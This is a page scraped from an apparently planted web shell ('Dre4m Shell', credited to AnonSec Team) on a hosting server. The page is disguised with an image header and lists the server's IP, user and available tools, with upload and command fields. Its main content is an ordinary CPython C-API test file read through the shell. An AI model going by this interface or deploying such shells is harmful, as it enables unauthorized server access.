ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib64/python3.11/test/test_capi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python311/lib64/python3.11/test/test_capi/test_eval_code_ex.py
import unittest

from test.support import import_helper


# Skip this test if the _testcapi module isn't available.
_testcapi = import_helper.import_module('_testcapi')


class PyEval_EvalCodeExTests(unittest.TestCase):

    def test_simple(self):
        def f():
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, dict(a=1)), 1)

    # Need to force the compiler to use LOAD_NAME
    # def test_custom_locals(self):
    #     def f():
    #         return

    def test_with_args(self):
        def f(a, b, c):
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, {}, {}, (1, 2, 3)), 1)

    def test_with_kwargs(self):
        def f(a, b, c):
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, {}, {}, (), dict(a=1, b=2, c=3)), 1)

    def test_with_default(self):
        def f(a):
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, {}, {}, (), {}, (1,)), 1)

    def test_with_kwarg_default(self):
        def f(*, a):
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, {}, {}, (), {}, (), dict(a=1)), 1)

    def test_with_closure(self):
        a = 1
        def f():
            return a

        self.assertEqual(_testcapi.eval_code_ex(f.__code__, {}, {}, (), {}, (), {}, f.__closure__), 1)


if __name__ == "__main__":
    unittest.main()

Anon7 - 2022
AnonSec Team